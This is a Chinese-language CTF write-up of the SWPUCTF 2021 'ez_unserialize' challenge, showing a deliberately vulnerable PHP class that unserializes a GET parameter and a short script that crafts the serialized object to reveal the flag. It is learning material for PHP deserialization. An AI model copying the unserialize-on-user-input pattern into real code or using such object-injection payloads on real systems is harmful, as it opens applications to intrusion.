[SWPUCTF 2021 新生赛]ez_unserialize

概括

这是一道PHP反序列化的CTF赛题,本意是想用这道题对PHP反序列化进行一定的学习。

过程

我们打开赛题,看看内容

 

没有发现什么东西,看看他的页面代码

 

 

根据他的提示,感觉是存在一个robots.txt文件的,尝试访问一下。

 

进去看看。

 

果然如此

我们来分析一下这段代码

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$p = $_GET['p'];
unserialize($p);

?>

 

我们进行代码分析:

  1. error_reporting(0); :关闭PHP错误报告。
  2. show_source("cl45s.php"); :显示这个文件里面的内容。
  3. 创建了一个wllm类,然后在类里面定义了两个公共属性$admin与$passwd。
  4. 创建了两个函数__construct()函数和__destruct()函数,这两个的功能分别是初始化admin和passwd以及判断admin和passwd的值是否为ture。
  5. 如果admin==="admin",passwd==="ctf"的话,则echo出包含的flag文件
  6. 通过GET方式上传一个p参数,并将其传递给unserialize()函数进行反序列化。

我们可以通过实例化这个类,分别给admin和passwd赋值,然后使用序列化函数进行序列化操作,最后通过p参数进行上传访问。

脚本

<?php

error_reporting(0);
show_source("cl45s.php");

class wllm{

    public $admin;
    public $passwd;

    public function __construct(){
        $this->admin ="user";
        $this->passwd = "123456";
    }

        public function __destruct(){
        if($this->admin === "admin" && $this->passwd === "ctf"){
            include("flag.php");
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo "Just a bit more!";
        }
    }
}

$w = new wllm();
$w->admin = "admin";
$w -> passwd = "ctf";
$w=serialize($w);
echo $w;

?>

拿下flag

 

总结

这道赛题让我们可以简单入门php的反序列化,其中对于代码解析上存在一些疑问。比如这里的$this->admin与$this->passwd。这里通过Google了解到,$this在OOP中是一个伪变量,简单点说就是哪个对象调用,$this就是哪个变量。

posted @ 2024-02-21 21:57  Anime_Bucket  阅读(157)  评论(0编辑  收藏  举报